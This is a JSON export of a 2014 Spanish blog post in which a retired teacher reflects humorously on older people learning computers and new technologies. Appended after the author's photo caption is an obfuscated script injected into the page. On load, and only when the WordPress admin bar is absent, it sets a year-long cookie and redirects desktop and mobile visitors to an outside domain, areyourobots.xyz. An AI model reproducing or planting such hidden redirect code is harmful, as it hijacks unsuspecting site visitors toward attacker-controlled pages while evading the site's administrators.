{"id":773,"date":"2014-11-26T23:18:26","date_gmt":"2014-11-26T23:18:26","guid":{"rendered":"https:\/\/blog.vera.es\/cultura\/?p=773"},"modified":"2014-11-26T23:18:26","modified_gmt":"2014-11-26T23:18:26","slug":"nuevas-tecnologias-para-mayores","status":"publish","type":"post","link":"https:\/\/blog.vera.es\/cultura\/2014\/11\/26\/nuevas-tecnologias-para-mayores\/","title":{"rendered":"\u00bfNUEVAS TECNOLOG\u00cdAS PARA MAYORES?"},"content":{"rendered":"<p style=\"text-align: justify\">Siempre me ha gustado la estilogr\u00e1fica y la cuartilla para mis propias notas o para escribir sobre cualquier asunto o tema. Tambi\u00e9n, c\u00f3mo no, la m\u00e1quina de escribir; pero, como aclaraci\u00f3n, a\u00fan m\u00e1s, lo primero. Cuando a finales de la d\u00e9cada de los setenta y comienzo de los ochenta tuvo su aparici\u00f3n el ordenador haci\u00e9ndose imprescindible en el trabajo y en la vida de los ciudadanos, as\u00ed como soporte en colegios p\u00fablicos, gracias al Plan Alhambra, el trastorno que me ocasion\u00f3 su aprendizaje, en realidad, no tuvo ni tiene parang\u00f3n. Desconoc\u00eda, entonces, los iconos y barras de herramientas que aparecen en pantalla y procesador de textos, as\u00ed como algunas teclas del teclado, como el Intro, Ctrl, Insert, \u2026Por ello, pues, ten\u00eda que pedir ayuda y m\u00e1s ayuda a mis compa\u00f1eros. Por mucho tiempo, creo que hasta hace poco,\u00a0 lo desech\u00e9\u00a0 como medio de trabajo, no siendo este instrumento objeto de mis preferencias. Me desesperaba cuando los renglones saltaban; cuando se me perd\u00eda lo que escrib\u00eda y ten\u00eda que volverlo a escribir y\u2026 \u00a1para qu\u00e9 seguir contando! Mi impotencia no ten\u00eda l\u00edmites y cog\u00ed aversi\u00f3n hacia \u00e9l, recurriendo, una y\u00a0 otra vez m\u00e1s, a la vieja m\u00e1quina de escribir o, como he dicho antes, a lo que m\u00e1s me gustaba: la estilogr\u00e1fica.<\/p>\n<p style=\"text-align: justify\"><!--more--><br \/>\nComo consuelo, sirva como an\u00e9cdota la que me coment\u00f3 un amigo cuando se traslad\u00f3 a Madrid\u00a0 para la realizaci\u00f3n de un cursillo sobre nociones b\u00e1sicas de aprendizaje en el uso de ordenadores, ya que en su oficina los hab\u00edan instalado como medio de trabajo: \u201cEl profesor que impart\u00eda clases a alumnos, entre los que se encontraba mi amigo, d\u00eda tras d\u00eda, les dec\u00eda: -Se\u00f1ores, hay que abrir la ventana\u2026- y, uno de ellos, atolondrado, aburrido y negado al aprendizaje, con todo respeto y educaci\u00f3n, le dijo: &#8211; Se\u00f1or, si sigue Vd. habl\u00e1ndome de ventanas, por \u00e9sta, donde me encuentro, me tiro yo. \u00a1Esto no est\u00e1 hecho para m\u00ed!-\u201d. Ni que decir tiene el jolgorio que se mont\u00f3 en clase.<br \/>\nDe vez en cuando, para no perder mi relaci\u00f3n con la ense\u00f1anza, me re\u00fano con mis colegas de profesi\u00f3n, algunos jubilados y otros en activo y, como de costumbre, entre nuestros temas de conversaci\u00f3n, que no son pocos, esto que comento suscit\u00f3 nuestro particular inter\u00e9s, adem\u00e1s de servirnos de est\u00edmulo y entretenimiento en nuestra pl\u00e1tica: las \u201cnuevas tecnolog\u00edas\u201d y su influencia en personas de avanzada edad.<\/p>\n<p style=\"text-align: justify\">\nPues bien, durante el coloquio, retrocediendo en el tiempo y sirviendo como ejemplo la imprenta, coment\u00e1bamos el lento y parsimonioso proceso que llevaba aparejado publicar un art\u00edculo period\u00edstico. Hab\u00eda que escribirlo a bol\u00edgrafo en una cuartilla, o bien con m\u00e1quina de escribir, con el engorro que llevaba aparejado la correcci\u00f3n de errores a la hora de teclear. Despu\u00e9s, enviarlo por carta a la direcci\u00f3n del peri\u00f3dico. Una vez all\u00ed, el impresor, tras diagramarlo, en su antigua imprenta, colocar, con perfecto ajuste, los tipos o piezas met\u00e1licas, para, impregnadas en tinta \u00e9stas, ser transferidas al papel, a fin de ser impresas.<\/p>\n<p style=\"text-align: justify\">\nHoy por hoy, esa imprenta a la que hac\u00eda referencia en el p\u00e1rrafo anterior, gracias a la impresora, la tenemos en casa.<\/p>\n<p style=\"text-align: justify\">\nAl\u00a0 hilo de lo que dec\u00eda al principio, ante mi negativa a la utilizaci\u00f3n del ordenador, he de confesar, en honor a la verdad, que, con el tiempo, he aprendido un poco, muy poco sobre su uso y, de ah\u00ed qu\u00e9, a la hora de escribir esto, a fin de publicarlo en IDEAL @LEVANTE y www. elindalico.es, no puedo entregar el texto a ambos peri\u00f3dicos en un folio o cuartilla. He de hacerlo en el ordenador. Tambi\u00e9n, he aprendido a imprimirlo para dar copia a alg\u00fan que otro amigo, y a mandar el archivo por correo electr\u00f3nico a su destinatario. Creo que si a eso a\u00f1adimos lo de copiar y pegar, el avance de mis conocimientos, por ahora, ha llegado a su fin.<\/p>\n<p style=\"text-align: justify\">\nDicho esto, decir a mis lectores que ya no soy tan reticente al uso de las nuevas tecnolog\u00edas y que, ahora, me encuentro m\u00e1s proclive a su uso y disfrute. Decirles que s\u00e9 que el GPS, la consola, el ordenador, el iPad, la telefon\u00eda m\u00f3vil, las redes sociales\u2026se han hecho consustanciales con nuestro \u201cmodus vivendi\u201d y que los conocimientos y t\u00e9cnicas cient\u00edficas aplicadas a la resoluci\u00f3n de problemas que afectan a la sociedad, es decir, la Ingenier\u00eda, hacen que el progreso sea imparable. Tambi\u00e9n s\u00e9 que disciplinas como la rob\u00f3tica, la cibern\u00e9tica y la telem\u00e1tica, con sus aplicaciones, contribuyen al dise\u00f1o y manufactura, partiendo de sistemas electr\u00f3nicos y mec\u00e1nicos, de medios y utensilios que favorecen y mejoran nuestra forma de vida; pero, aun as\u00ed, por raz\u00f3n de costumbre y estilo, con claridad meridiana, s\u00e9 que nunca renunciar\u00e9, como dec\u00eda al principio, a las herramientas que, en el devenir de mi existencia, utilic\u00e9; es decir, aquellos \u00fatiles, tan afectivos para m\u00ed, de los que tanto me serv\u00ed y, por supuesto, aprovech\u00e9.<\/p>\n<p><figure id=\"attachment_23\" aria-describedby=\"caption-attachment-23\" style=\"width: 180px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/02\/150571_129346217122812_100001423032344_190639_1342949_a.jpg\"><img decoding=\"async\" class=\"size-full wp-image-23\" alt=\"Diego Morales Carmona\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/02\/150571_129346217122812_100001423032344_190639_1342949_a.jpg\" width=\"180\" height=\"109\" \/><\/a><figcaption id=\"caption-attachment-23\" class=\"wp-caption-text\">Diego Morales Carmona<\/figcaption><\/figure><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.areyourobots.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Siempre me ha gustado la estilogr\u00e1fica y la cuartilla para mis propias notas o para escribir sobre cualquier asunto o tema. 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